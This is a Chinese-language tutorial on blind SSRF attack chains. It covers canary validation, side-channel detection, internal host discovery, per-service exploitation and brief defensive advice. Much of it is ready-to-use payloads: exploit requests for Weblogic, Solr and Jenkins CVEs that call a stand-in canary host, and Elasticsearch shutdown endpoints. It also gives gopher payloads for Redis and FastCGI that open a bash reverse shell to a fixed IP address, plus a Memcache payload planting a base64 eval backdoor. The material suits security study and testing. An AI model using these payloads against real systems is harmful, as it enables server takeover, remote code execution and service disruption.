A Glossary of Blind SSRF Chains
字数 1472 2025-08-06 08:35:16
Blind SSRF Chains 攻击技术详解
1. 基本概念
1.1 SSRF (服务器端请求伪造)
SSRF (Server-Side Request Forgery) 是一种安全漏洞,攻击者能够诱使服务器代表其发送任意请求。由于请求是从服务器发出的,可以访问内部资源,在云环境中尤其危险,可能访问包含敏感凭据的元数据端点。
1.2 Blind SSRF
Blind SSRF 是指攻击者无法直接读取服务器响应的SSRF漏洞。这种情况下,需要通过其他方式验证漏洞的存在和影响。
2. 验证技术
2.1 SSRF Canary
SSRF Canary 是一种验证技术,通过请求一个内部URL,该URL会执行另一个SSRF并向攻击者的canary主机发送请求。如果收到请求,则证明成功访问了内部服务。
示例:
- Confluence、Artifactory、Jenkins和JAMF等系统常被用作SSRF Canary
2.2 侧通道泄漏
即使无法直接读取响应,仍可能通过以下方式获取信息:
-
错误信息:
- 是否返回了响应
- 主机和端口是否可达
-
响应差异:
- 状态码差异(200 OK vs 500 Internal Server Error)
- 响应内容长度差异
- 响应时间差异
3. 内部主机发现技术
3.1 DNS数据源和AltDNS
- 使用DNS数据源找出指向内部主机的记录
- 在云环境中,ELB常指向内部VPC中的主机
- 使用AltDNS工具生成排列组合进行DNS暴力破解
示例:
livestats.target.com -> internal-es-livestats-298228113.us-west-2.elb.amazonaws.com -> 10.0.0.82
4. 基于HTTP(s)的攻击技术
4.1 Elasticsearch (端口:9200)
- 通常内部部署时不要求身份验证
- 检查端点:
/_cluster/health /_cat/indices /_cat/health - 关闭Elasticsearch实例(仅限1.6及以下版本):
/_shutdown /_cluster/nodes/_master/_shutdown
4.2 Weblogic (端口:80,443,7001,8888)
SSRF Canary (CVE-2014-4210):
POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test
CVE-2020-14883 (RCE):
POST /console/css/%252e%252e%252fconsole.portal
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://SSRF_CANARY/poc.xml")
4.3 Apache Solr (端口:8983)
Shards参数SSRF:
/search?q=Apple&shards=http://SSRF_CANARY/solr/collection/config%23
XXE漏洞:
/solr/gettingstarted/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://SSRF_CANARY/xxx"'>}
4.4 Jenkins (端口:80,443,8080,8888)
SSRF Canary (CVE-2018-1000600):
/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://SSRF_CANARY/%23&login=orange&password=tsai
RCE漏洞:
/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name='orange.tw', root='http://SSRF_CANARY/')%0a@Grab(group='tw.orange', module='poc', version='1')%0aimport Orange;
5. 基于Gopher协议的攻击技术
5.1 Redis (端口:6379)
计划任务RCE:
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
5.2 Memcache (端口:11211)
vBulletin/GitHub Enterprise RCE:
gopher://[target ip]:11211/_%0d%0aset ssrftest 1 0 147%0d%0aa:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";s:5:"/.*/e";s:7:"replace";s:33:"eval(base64_decode($_POST[ccc]));";}}s:13:"rewritestatus";i:1;}%0d%0a
5.3 FastCGI (端口:9000)
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00
6. 相关工具
6.1 Gopherus
- 生成多种服务的Gopher payload
- 支持MySQL、PostgreSQL、FastCGI、Redis、Zabbix、Memcache等
6.2 SSRF Proxy
- 多线程HTTP代理服务器
- 通过易受SSRF影响的HTTP服务器传输客户端HTTP流量
7. 防御建议
- 实施严格的输入验证和过滤
- 禁用不必要的URL协议(如gopher://, file://等)
- 使用白名单限制服务器可以访问的资源和域名
- 定期更新和修补易受攻击的中间件和应用程序
- 监控和记录所有出站请求
8. 总结
Blind SSRF攻击虽然无法直接获取响应,但通过SSRF Canary、侧通道泄漏等技术仍可验证漏洞存在。结合Gopher协议和其他技术,攻击者可以实现从SSRF到RCE的完整攻击链。防御方面需要多层防护,包括输入验证、协议限制和出站请求监控等。